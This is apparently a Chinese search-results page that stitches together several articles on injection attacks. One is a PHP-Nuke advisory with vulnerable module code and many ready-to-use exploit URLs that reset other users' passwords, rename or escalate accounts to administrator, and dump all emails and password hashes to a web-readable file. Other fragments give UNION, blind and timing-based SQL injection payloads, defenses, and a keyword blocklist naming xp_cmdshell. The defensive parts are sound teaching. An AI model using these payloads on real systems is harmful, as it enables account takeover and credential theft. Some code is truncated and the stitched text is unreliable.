精华内容
下载资源
问答
  • 总结HTML5 App的代码注入攻击

    千次阅读 2015-07-13 18:46:59
    HTML5 App的代码注入攻击:http://www.05112.com/zhuanti/sjaq/2014/0822/13095.html ...JavaScript是非常容易遭受代码注入攻击的 Web技术有个广为人知的危险特性:它允许数据和代码混杂到一起

    Html5 App的安全性(IOS Android Black-Berry):原生安全,是因为代码和数据不能混合一起执行

    1. HTML5 App的代码注入攻击:http://www.05112.com/zhuanti/sjaq/2014/0822/13095.html
      1. JavaScript是非常容易遭受代码注入攻击的
        1. Web技术有个广为人知的危险特性:它允许数据和代码混杂到一起
          1. 恶意代码和数据放到一起,造成执行错误的API
      2. 所有数据都是从不可信的外部通道获取的,App开发者获取到,需识别是否有风险;然后才在App内部执行
        1. 使用XSS的技术手段攻击,已经有多款Html5 App 被攻击了
      3. 攻击过程
        1. WebView和PhoneGap框架的研究
        2. 如何进行攻击
        3. 攻击渠道和场景
        4. PhoneGap(包含原生代码的第三方Html5 开发框架)等App的漏洞
    展开全文
  • SQL注入攻击总结

    2005-08-31 14:15:00
    在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦,会因为猜不到结构而...
    在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置

    的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦

    ,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们

    的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。
    最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!


    SQL的Members_List、Your_Account模块中存在注入缺陷。如果magic_quotes_gpc选项为“OFF”,攻击者

    使用下列攻击方法及代码能利用该缺陷:

      PHP代码/位置:

    ?/modules/Members_List/index.php :
    ------------------------------------------------------------------------
    [...]
    $count = "SELECT COUNT(uid) AS total FROM ".$user_prefix."_users ";
    $select = "select uid, name, uname, femail, url from
    ".$user_prefix."_users ";
    $where = "where uname != Anonymous ";

    if ( ( $letter != "Other" ) AND ( $letter != "All" ) ) {
    $where .= "AND uname like ".$letter."% ";

    } else if ( ( $letter == "Other" ) AND ( $letter != "All" ) ) {
    $where .= "AND uname REGEXP /"^/[1-9]/" ";

    } else {
    $where .= "";
    }
    $sort = "order by $sortby";
    $limit = " ASC LIMIT ".$min.", ".$max;

    $count_result = sql_query($count.$where, $dbi);
    $num_rows_per_order = mysql_result($count_result,0,0);

    $result = sql_query($select.$where.$sort.$limit, $dbi) or die();


    echo "<br>";
    if ( $letter != "front" ) {
    echo "<table width=/"100%/" border=/"0/"
    cellspacing=/"1/"><tr>/n";
    echo "<td BGCOLOR=/"$bgcolor4/" align=/"center/"><font
    color=/"$textcolor2/"><b>"._NICKNAME."</b></font></td>/n";
    echo "<td BGCOLOR=/"$bgcolor4/" align=/"center/"><font
    color=/"$textcolor2/"><b>"._REALNAME."</b></font></td>/n";
    echo "<td BGCOLOR=/"$bgcolor4/" align=/"center/"><font
    color=/"$textcolor2/"><b>"._EMAIL."</b></font></td>/n";
    echo "<td BGCOLOR=/"$bgcolor4/" align=/"center/"><font
    color=/"$textcolor2/"><b>"._URL."</b></font></td>/n";
    $cols = 4;
    [...]
    ------------------------------------------------------------------------

    /modules/Your_Account/index.php :
    switch($op) {
    [...]
    case "mailpasswd":
    mail_password($uname, $code);
    break;

    case "userinfo":
    userinfo($uname, $bypass, $hid, $url);
    break;

    case "login":
    login($uname, $pass);
    break;
    [...]
    case "saveuser":
    saveuser($uid, $realname, $uname, $email, $femail, $url, $pass, $vpass,
    $bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest,
    $user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter);
    break;
    [...]
    case "savehome":
    savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast,
    $popmeson);
    break;

    case "savetheme":
    savetheme($uid, $theme);
    break;
    [...]
    case "savecomm":
    savecomm($uid, $uname, $umode, $uorder, $thold, $noscore, $commentmax);
    break;
    [...]
    }
    ------------------------------------------------------------------------

    /modules/Your_Account/index.php :
    [...]
    function saveuser($uid, $realname, $uname, $email, $femail, $url, $pass,
    $vpass, $bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest,
    $user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter) {
    global $user, $Cookie, $userinfo, $EditedMessage, $user_prefix, $dbi,
    $module_name;
    Cookiedecode($user);
    $check = $Cookie[1];
    $check2 = $Cookie[2];
    $result = sql_query("select uid, pass from ".$user_prefix."_users where
    uname=$check", $dbi);
    list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
    if (($uid == $vuid) AND ($check2 == $ccpass)) {
    if (!eregi("http://";, $url)) {
    $url = "http://$url";
    }
    if ((isset($pass)) && ("$pass" != "$vpass")) {
    echo "<center>"._PASSDIFFERENT."</center>";
    } elseif (($pass != "") && (strlen($pass) < $minpass)) {
    echo "<center>"._YOUPASSMUSTBE." <b>$minpass</b>
    "._CHARLONG."</center>";
    } else {
    if ($bio) { filter_text($bio); $bio = $EditedMessage; $bio =
    FixQuotes($bio); }
    if ($pass != "") {
    Cookiedecode($user);
    sql_query("LOCK TABLES ".$user_prefix."_users WRITE", $dbi);
    $pass = md5($pass);
    sql_query("update ".$user_prefix."_users set name=$realname,
    email=$email, femail=$femail, url=$url, pass=$pass, bio=$bio ,
    user_avatar=$user_avatar, user_icq=$user_icq, user_occ=$user_occ,
    user_from=$user_from, user_intrest=$user_intrest, user_sig=$user_sig,
    user_aim=$user_aim, user_yim=$user_yim, user_msnm=$user_msnm,
    newsletter=$newsletter where uid=$uid", $dbi);
    $result = sql_query("select uid, uname, pass, storynum, umode, uorder,
    thold, noscore, ublockon, theme from ".$user_prefix."_users where
    uname=$uname and pass=$pass", $dbi);
    if(sql_num_rows($result, $dbi)==1) {
    $userinfo = sql_fetch_array($result, $dbi);

    doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],
    $userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],
    $userinfo[theme],$userinfo[commentmax]);
    } else {
    echo "<center>"._SOMETHINGWRONG."</center><br>";
    }
    sql_query("UNLOCK TABLES", $dbi);
    } else {
    sql_query("update ".$user_prefix."_users set name=$realname,
    email=$email, femail=$femail, url=$url, bio=$bio,
    user_avatar=$user_avatar, user_icq=$user_icq, user_occ=$user_occ,
    user_from=$user_from, user_intrest=$user_intrest, user_sig=$user_sig,
    user_aim=$user_aim, user_yim=$user_yim, user_msnm=$user_msnm,
    newsletter=$newsletter where uid=$uid", $dbi);
    if ($attach) {
    $a = 1;
    } else {
    $a = 0;
    }
    }
    Header("Location: modules.php?name=$module_name");
    }
    }
    }
    [...]
    function savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast,
    $popmeson) {
    global $user, $Cookie, $userinfo, $user_prefix, $dbi, $module_name;
    Cookiedecode($user);
    $check = $Cookie[1];
    $check2 = $Cookie[2];
    $result = sql_query("select uid, pass from ".$user_prefix."_users where
    uname=$check", $dbi);
    list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
    if (($uid == $vuid) AND ($check2 == $ccpass)) {
    if(isset($ublockon)) $ublockon=1; else $ublockon=0;
    $ublock = FixQuotes($ublock);
    sql_query("update ".$user_prefix."_users set storynum=$storynum,
    ublockon=$ublockon, ublock=$ublock, broadcast=$broadcast,
    popmeson=$popmeson where uid=$uid", $dbi);
    getusrinfo($user);
    doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umod

    e],
    $userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],
    $userinfo[theme],$userinfo[commentmax]);
    Header("Location: modules.php?name=$module_name");
    }
    }

    function savetheme($uid, $theme) {
    global $user, $Cookie, $userinfo, $user_prefix, $dbi, $module_name;
    Cookiedecode($user);
    $check = $Cookie[1];
    $check2 = $Cookie[2];
    $result = sql_query("select uid, pass from ".$user_prefix."_users where
    uname=$check", $dbi);
    list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
    if (($uid == $vuid) AND ($check2 == $ccpass)) {
    sql_query("update ".$user_prefix."_users set theme=$theme where
    uid=$uid", $dbi);
    getusrinfo($user);
    doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],
    $userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],
    $userinfo[theme],$userinfo[commentmax]);
    Header("Location: modules.php?name=$module_name&theme=$theme");
    }
    }
    [...]
    function savecomm($uid, $uname, $umode, $uorder, $thold, $noscore,
    $commentmax) {
    global $user, $Cookie, $userinfo, $user_prefix, $dbi, $module_name;
    Cookiedecode($user);
    $check = $Cookie[1];
    $check2 = $Cookie[2];
    $result = sql_query("select uid, pass from ".$user_prefix."_users where
    uname=$check", $dbi);
    list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
    if (($uid == $vuid) AND ($check2 == $ccpass)) {
    if(isset($noscore)) $noscore=1; else $noscore=0;
    sql_query("update ".$user_prefix."_users set umode=$umode,
    uorder=$uorder, thold=$thold, noscore=$noscore,
    commentmax=$commentmax where uid=$uid", $dbi);
    getusrinfo($user);
    doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],
    $userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],
    $userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
    Header("Location: modules.php?name=$module_name");
    }
    }
    [...]
    ------------------------------------------------------------------------

    /modules/Your_Account/index.php :
    [...]
    function mail_password($uname, $code) {
    global $sitename, $adminmail, $nukeurl, $user_prefix, $dbi,
    $module_name;
    $result = sql_query("select email, pass from ".$user_prefix."_users
    where (uname=$uname)", $dbi);
    if(!$result) {
    include("header.php");
    OpenTable();
    echo "<center>"._SORRYNOUSERINFO."</center>";
    CloseTable();
    include("footer.php");
    [...]
    ------------------------------------------------------------------------


    ------------------------------------------------------------------------
    [...]
    function userinfo($uname, $bypass=0, $hid=0, $url=0) {
    global $user, $Cookie, $sitename, $prefix, $user_prefix, $dbi, $admin,
    $broadcast_msg, $my_headlines, $module_name;
    $result = sql_query("select uid, femail, url, bio, user_avatar,
    user_icq, user_aim, user_yim, user_msnm, user_from, user_occ, user_intrest,
    user_sig, pass, newsletter from ".$user_prefix."_users where
    uname=$uname", $dbi);
    $userinfo = sql_fetch_array($result, $dbi);
    [...]
    ------------------------------------------------------------------------


    ------------------------------------------------------------------------
    [...]
    function login($uname, $pass) {
    global $setinfo, $user_prefix, $dbi, $module_name;
    $result = sql_query("select pass, uid, storynum, umode, uorder, thold,
    noscore, ublockon, theme, commentmax from ".$user_prefix."_users where
    uname=$uname", $dbi);
    $setinfo = sql_fetch_array($result, $dbi);
    [...]
    }
    [...]
    Members_List模块:

      - 显示用户:

    http://[target]/modules.php?name=Members_List&letter=All&sortby=pass

      - 显示用户:

    http://[target]/modules.php?name=Members_List&letter=All&sortby=uid

      - 显示moderators :

    http://[target]/modules.php?name=Members_List&letter=%20OR%20user_level=2/*

      - 显示管理员:

    http://[target]/modules.php?name=Members_List&letter=%20OR%20user_level=4/*

      - 显示所有以“abc”开头的用户 :

    http://[target]/modules.php?name=Members_List&letter=%20OR%20pass%20LIKE%20abc%25/*

      Your_Account模块 :

      - 将“Admind”用户更名为“Hophophop” :

    http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,name=Hophophop%20where%20u

    name=Admin/*&uid=[OUR_UID]

      - 在md5_decrypted中将“Bob”的密码改为“d41d8cd98f00b204e9800998ecf8427e”:

    http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,
    pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
      或:

    http://[target]/modules.php?name=Your_Account&op=saveuser&realname=,
    pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
      或:

    http://[target]/modules.php?name=Your_Account&op=saveuser&email=,
    pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
      或:

    http://[target]/modules.php?name=Your_Account&op=savehome&storynum=,
    pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
      或:

    http://[target]/modules.php?name=Your_Account&op=savehome&ublockon=,
    pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
      或:

    http://[target]/modules.php?name=Your_Account&op=savecomm&umode=,
    pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID] 
      或:

    http://[target]/modules.php?name=Your_Account&op=savecomm&thold=,
    pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]

      - 将普通用户提升至管理员权限:

    http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,user_level=4&uid=[OUR_UID]

      或:

    http://[target]/modules.php?name=Your_Account&op=saveuser&femail=,user_level=4&uid=[OUR_UID]

      或:

    http://[target]/modules.php?name=Your_Account&op=saveuser&url=http://,user_level=4&uid=[OUR_

    UID]

      或:

    http://[target]/modules.php?name=Your_Account&op=savehome&broadcast=,user_level=4&uid=[OUR_U

    ID]

      或:

    http://[target]/modules.php?name=Your_Account&op=savecomm&uorder=,user_level=4&uid=[OUR_UID]

      - 将所有用户的电子邮件和crypted密码保存在http://[target]/AllMailPass.txt中 :

    http://[target]/modules.php?name=Your_Account&op=mailpasswd&uname=)
    %20OR%201=1%20INTO%20OUTFILE%20/[path/to/site]/AllMailPass.txt/*

      利用Cookie发送crypted密码能访问用户帐户。

      - 将用户的所有信息保存在http://[target]/admintxt中:

    http://[target]/modules.php?name=Your_Account&op=login&uname=%20OR%user_level>
    1%20INTO%20OUTFILE%20/[path/to/site]/admin.txt

    [path/to/site]能在http://[target]/modules/Forums/bb_smilies.php中查询到。


    在开发阶段堵住程序漏洞




    既然是程序的漏洞,那么我们就在开发阶段将它堵住。
    展开全文
  • 往期置顶资源可自取找工作简历模板集(word格式)下载Java基础核心知识大总结.pdf 下载68道C/C++常见面试题(含答案)下载Java后端开发学习路线+...学习路线+知识点总结SQL注入攻击是黑客对数据库进行攻击的常用手段之一...

    61836d74d2c323df63f91c4ac73bf719.png

    往期置顶资源 可自取

    • 找工作简历模板集(word格式)下载
    • Java基础核心知识大总结.pdf 下载
    • 68道C/C++常见面试题(含答案)下载
    • Java后端开发学习路线+知识点总结
    • 前端开发学习路线+知识点总结
    • 大数据开发学习路线+知识点总结
    • C/C++开发(后台)学习路线+知识点总结
    • 嵌入式开发学习路线+知识点总结

    SQL注入攻击是黑客对数据库进行攻击的常用手段之一,随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想获取的数据,这就是所谓的SQL Injection,即SQL注入。

    一 背景

    假如某高校开发了一个网课系统,要求学生选课后完成学习,数据库中有一张表course,这张表存放着每个学生的选课信息及完成情况,具体设计如下:

    0aa20eb53b08e80cd7fda545af2ce8f0.png

    数据如下:

    ab314b099ca6e779b679a179f2a534a9.png

    本系统采用mysql做为数据库,使用Jdbc来进行数据库的相关操作。系统提供了一个功能查询该学生的课程完成情况,代码如下。

    @RestController
    public class Controller {

        @Autowired
        SqlInject sqlInject;

        @GetMapping("list")
        public List courseList(@RequestParam("studentId") String studentId){
            List orders = sqlInject.orderList(studentId);return orders;
        }
    }
    @Service
    public class SqlInject {

        @Autowired
        private JdbcTemplate jdbcTemplate;

        public List orderList(String studentId){
            String sql = "select id,course_id,student_id,status from course where student_id = "+ studentId;
            return jdbcTemplate.query(sql,new BeanPropertyRowMapper(Course.class));
        }
    }

    二 注入攻击演示

    1. 正常情况下查询一个学生所选课程及完成情况只需要传入student_id,便可以查到相关数据。

    358061de70aa6205fa4cae6e758f4502.png

    根据响应结果,我们很快便能写出对应的sql,如下:

    select id,course_id,student_id,status 
    from course 
    where student_id = 4

    2. 如果我们想要获取这张表的所有数据,只需要保证上面这个sql的where条件恒真就可以了。

    select id,course_id,student_id,status 
    from course 
    where student_id = 4 or 1 = 1 

    请求接口的时候将studendId 设置为4 or 1 = 1,这样这条sql的where条件就恒真了。sql也就等同于下面这样

    select id,course_id,student_id,status 
    from course 

    请求结果如下,我们拿到了这张表的所有数据

    5a59c43726f95c52be8ed6e7bf05524b.png

    3. 查询mysql版本号,使用union拼接sql

    union select 1,1,version(),1

    9d045e5c9b82adf30090d3f3a212a8e9.png

    4. 查询数据库名

    union select 1,1,database(),1

    e6c98f33bbd9318a911b31ea889f5408.png

    5. 查询mysql当前用户的所有库

    union select 1,1, (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) schemaName,1

    06e870c5d5a034f0fade913acdf8d943.png

    看完上面这些演示后,你害怕了吗?你所有的数据配置都完全暴露出来了,除此之外,还可以完成很多操作,更新数据、删库、删表等等。

    三 如何防止sql注入

    1. 代码层防止sql注入攻击的最佳方案就是sql预编译

    public List orderList(String studentId){
        String sql = "select id,course_id,student_id,status from course where student_id = ?";
        return jdbcTemplate.query(sql,new Object[]{studentId},new BeanPropertyRowMapper(Course.class));
    }

    这样我们传进来的参数 4 or 1 = 1就会被当作是一个student_id,所以就不会出现sql注入了。

    2. 确认每种数据的类型,比如是数字,数据库则必须使用int类型来存储

    3. 规定数据长度,能在一定程度上防止sql注入

    4. 严格限制数据库权限,能最大程度减少sql注入的危害

    5. 避免直接响应一些sql异常信息,sql发生异常后,自定义异常进行响应

    6. 过滤参数中含有的一些数据库关键词

    @Component
    public class SqlInjectionFilter implements Filter {
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {
            HttpServletRequest req=(HttpServletRequest)servletRequest;
            HttpServletRequest res=(HttpServletRequest)servletResponse;
            //获得所有请求参数名
            Enumeration params = req.getParameterNames();
            String sql = "";
            while (params.hasMoreElements()) {
                // 得到参数名
                String name = params.nextElement().toString();
                // 得到参数对应值
                String[] value = req.getParameterValues(name);
                for (int i = 0; i                 sql = sql + value[i];
                }
            }
            if (sqlValidate(sql)) {
                throw new IOException("您发送请求中的参数中含有非法字符");
            } else {
                chain.doFilter(servletRequest,servletResponse);
            }
        }

        /**
         * 关键词校验
         * @param str
         * @return
         */

        protected static boolean sqlValidate(String str) {
            // 统一转为小写
            str = str.toLowerCase();
            // 过滤掉的sql关键字,可以手动添加
            String badStr = "'|and|exec|execute|insert|select|delete|update|count|drop|*|%|chr|mid|master|truncate|" +
                    "char|declare|sitename|net user|xp_cmdshell|;|or|-|+|,|like'|and|exec|execute|insert|create|drop|" +
                    "table|from|grant|use|group_concat|column_name|" +
                    "information_schema.columns|table_schema|union|where|select|delete|update|order|by|count|*|" +
                    "chr|mid|master|truncate|char|declare|or|;|-|--|+|,|like|//|/|%|#";
            String[] badStrs = badStr.split("\\|");
            for (int i = 0; i             if (str.indexOf(badStrs[i]) >= 0) {
                    return true;
                }
            }
            return false;
        }
    }
    < END >

    往期资源整理 可自取

    • 找工作简历模板大分享.doc下载
    • Java基础核心知识大总结.pdf 下载
    • 68道C/C++常见面试题(含答案)下载
    • Java后端开发学习路线+知识点总结
    • 前端开发学习路线+知识点总结
    • 大数据开发学习路线+知识点总结
    • C/C++开发(后台)学习路线+知识点总结
    • 嵌入式开发学习路线+知识点总结
    每天进步一点点慢一点才能更快
    展开全文
  • 注入攻击数据与代码分离,可以说是专门为解决注入攻击而生的注入攻击的本质:用户输入的数据当作代码执行两个关键条件:一、用户能够控制输入;二、原本程序要执行的代码,拼接了用户输入的数据1 SQL注入典例:var ...

    注入攻击

    数据与代码分离,可以说是专门为解决注入攻击而生的

    注入攻击的本质:用户输入的数据当作代码执行

    两个关键条件:一、用户能够控制输入;二、原本程序要执行的代码,拼接了用户输入的数据

    1 SQL注入

    典例:

    var ShipCity;

    ShipCity = Request.form(“ShipCity”);

    var sql = “select * from OrdersTable where ShipCity = ‘” + ShipCity + “’”;

    正常输入: Beijing

    select * from OrdersTable where ShipCity = ‘Beijing’;

    恶意输入: Beijing’; drop table OrdersTable--

    select * from OrdersTable where ShipCity = ‘Beijing’;drop table OrdesTable—’;

    SQL注入过程中,如果网站的Web服务器开启了错误回显,则会为攻击者提供极大的便利,比如攻击者在参数中输入一个单引号,引起执行查询语句的语法错误,服务器直接返回错误信息,那么我们就可能从错误信息中知道用的什么数据库,甚至版本、或者查询语句的构成。

    1.1盲注(Blind Inject)-----------------应对服务器关闭了错误回显

    最常见的方法:构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行

    Example

    原始URL与SQL

    SELECT title,description,body FROM items WHERE ID=2

    条件判断

    1.2Timing Attack

    MySQL中的BENCHMARK()函数:BENCHMARK(count, expr)

    利用BENCHMARK函数可让同一个函数执行若干次,使得返回的时间比平时要长;通过时间长短的变化,可以判断出注入语句是否执行成功。

    Example: 构造的攻击参数id为:

    1170 UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(500000,ENCODE(‘MSF’,

    ‘by 5 seconds’ )),null) FROM (SELECT Database as current) as tbl;

    不同的数据库都有类似的函数:

    MySQL

    BENCHMARK(10000000,md5(1)) or SLEEP(5)

    PostgreSQL

    PG_SLEEP(5) or GENERATE_SERIES(1,1000000)

    MS SQL Server

    WAITFOR DELAY ‘0:0:5’

    2数据库攻击技巧

    不同的数据库,SQL注入的技巧有所不同

    2.1常见的攻击技巧

    如果Mysql的版本是4,则会返回TRUE

    id =5 union all select 1,2,3 from admin                     //确认表名admin是否存在

    id =5 union all select 1,2,passwd from admin          //确认admin表中pssswd是否存在

    2.2命令执行

    2.3攻击存储过程

    2.4编码问题

    2.5SQL Column Truncation

    3正确地防御SQL注入

    3.1使用预编译语句

    3.2使用存储过程

    3.3检查数据类型

    3.4使用安全函数

    4其他注入攻击

    4.1XML注入

    4.2代码注入

    4.3CRLF注入

    5小结

    展开全文
  • SQL注入是一种利用未过滤/未审核用户输入的攻击方法(“缓存溢出”和这个不同),意思就是让应用运行本不应该运行的SQL代码。通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,就会造成一些...
  • SQL注入攻击防御思维导图总结

    千次阅读 2017-11-11 11:59:58
    “SQL注入”是一种利用未过滤/未审核用户输入的攻击方法(“缓存溢出”和这个不同),意思就是让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们,就会造成一些出人意料的结果。 ...
  • SQL注入攻击与防御

    2018-07-17 15:29:47
    针对SQL注入隐蔽性极强的特点,《SQL注入攻击与防御》重点讲解了SQL注入的排查方法和可以借助的工具,总结了常见的利用SQL漏洞的方法。另外,《SQL注入攻击与防御》还专门从代码层和系统层的角度介绍了避免SQL注入的...
  • 命令执行/代码注入漏洞概述 命令执行/代码注入漏洞分类介绍 命令执行/代码注入漏洞挖掘方法 命令执行/代码注入漏洞攻击防御 总结;命令执行/代码注入漏洞概述;命令执行/代码注入漏洞概述;命令执行/代码注入漏洞分类...
  • sql注入(总结)

    2020-10-17 23:21:04
    注入攻击的本质,把用户输入的数据当做代码执行 sql注入产生的条件 用户要能控制输入 输入的数据能当做代码执行 要跟数据库有交互 sql注入的分类 按变量类型分 数字型 字符型 按HTTP提交方式分 GET注入 POST...
  • SQL注入攻击以及防护

    千次阅读 2016-10-17 23:00:15
    在学习、面试过程中,多次接触过SQL注入攻击,今天我们就来好好总结一下吧。 SQL注入攻击是黑客对数据库进行攻击的常用手段之一。SQL注入攻击是指提交一段数据库代码,根据程序返回的结果获得某些他想得知的数据中...
  • Sql注入攻击技术实战

    2010-08-10 15:38:07
    sql注入一般针对基于web平台的应用程序 由于...就形成了sql注入漏洞,时至今日任然有很大一部分网站存在sql注入漏洞,可想而知sql注入攻击的危害,下面就目前sql注入攻击技术进行总结,让我们更加了解这种攻击与防御方法
  • sql注入学习总结

    2018-10-12 17:51:21
    sql注入是一种将sql代码添加到输入参数中,传递到sql服务器解析并执行的一种攻击手法。   二.如何预防sql注入? 产生:1.web开发人员无法保证所有的输入都已经过滤  2.攻击者利用发送给sql服务器的输入数据...
  • 防止SQL注入和XSS跨站攻击代码

    千次阅读 2016-12-16 00:02:31
    这两天用360网站安全检测网站,检测出SQL注入漏洞和XSS跨站攻击脚本N多项bug,然后上网找各种资料,把大部分的资料都看了一遍,最后自己总结了如下代码: a、防止SQL注入代码: [php] view plain copy...
  • SQL注入总结

    2018-12-11 22:59:39
    SQL注入第一次为公众所知,是在1998年的著名黑客杂志《Phrack》第54期上,一位叫rfp的黑客...注入攻击的本质,是把用户输入的数据当做代码执行。注入攻击有两个关键条件: 用户能控制数据的输入。 原本要执行的...
  • 这两周的SQL注入总结​ SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,...
  • SQL注入是一种大家非常熟悉的攻击方式,目前网络上有大量存在注入漏洞的DBMS(如MySQL,Oracle,MSSQL等)。但是,我在网络上找不到针对Hibernate查询语言的相关资源。因此本文总结了笔者在阅读文档和不断试验过程中...
  • 20145308 《网络对抗》 逆向及BOF进阶实践 注入shellcode+Return-to-libc攻击 学习总结 实践目的 注入shellcode 实现Return-to-libc攻击 知识点学习总结 Shellcode实际是一段代码(也可以是填充数据),是用来发送...
  • Sql注入攻击技术初探

    2011-06-07 00:38:00
    简介:sql注入一般针对基于web平台的应用程序 由于很多时候程序员在编写程序的时候没有对浏览器端提交的参数进行合法的判断,可以由用户自己修改构造参数(也可以...害,下面就目前sql注入攻击技术进行总结,让我...
  • SQL注入知识总结v1.0

    2019-07-14 22:50:39
    【SQL注入】SQL注入学习笔记总结 Hello 各位小伙伴周末晚上好~ 话说最近有小伙伴在公众号留言问我: “小编,怎么盗QQ号?” “小编,在某某网站用什么代码就可以免费充值?” “小编,能不能帮我攻击一下某某网站?...
  • 前言前面我们学习了如何寻找,确认,利用SQL注入漏洞的技术,本篇文章我将介绍一些更高级的技术,避开过滤,绕开防御。...Web应用为了防御包括SQL注入在内的攻击,常常使用输入过滤器,这些过滤器可以在应用的代码中,.
  • 1.什么是SQL注入攻击 攻击者在HTTP请求中注入恶意的SQL代码,服务器使用参数构建数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行。 用户登录,输入用户名 lianggzone,密码 ‘ or ‘1’=’1 ,如果此时使用...
  • 本书包含所有与SQL注入攻击相关的、当前已知的信息,凝聚了由本书作者组成的、无私奉献的SQL注入专家团队的所有深刻见解。  什么是SQL注入?理解它是什么以及它的基本原理  查找、确认和自动发现SQL注入  查找代码...
  • SQL注入知识点总结

    2019-12-07 16:07:12
    1.SQL注入是将SQL代码插入到网站应用的参数中,传入到后台数据库服务器解析执行的攻击。 2.SQL注入的主要方式是直接将SQL代码插入到参数中,这些参数会被植入到SQL命令中进行执行。 3.攻击者进行修改SQL语句时,该...
  • ”“小编,能不能帮我攻击一下某某网站?”“小编,出来挨打!”First of all,你的目标得有可以利用的漏洞才行,不存在什么万能代码的...第二,第二步之后的所有行为都是违反国家网络安全法的!!!我们要做...

空空如也

空空如也

1 2 3 4 5 ... 14
收藏数 264
精华内容 105
关键字:

代码注入攻击总结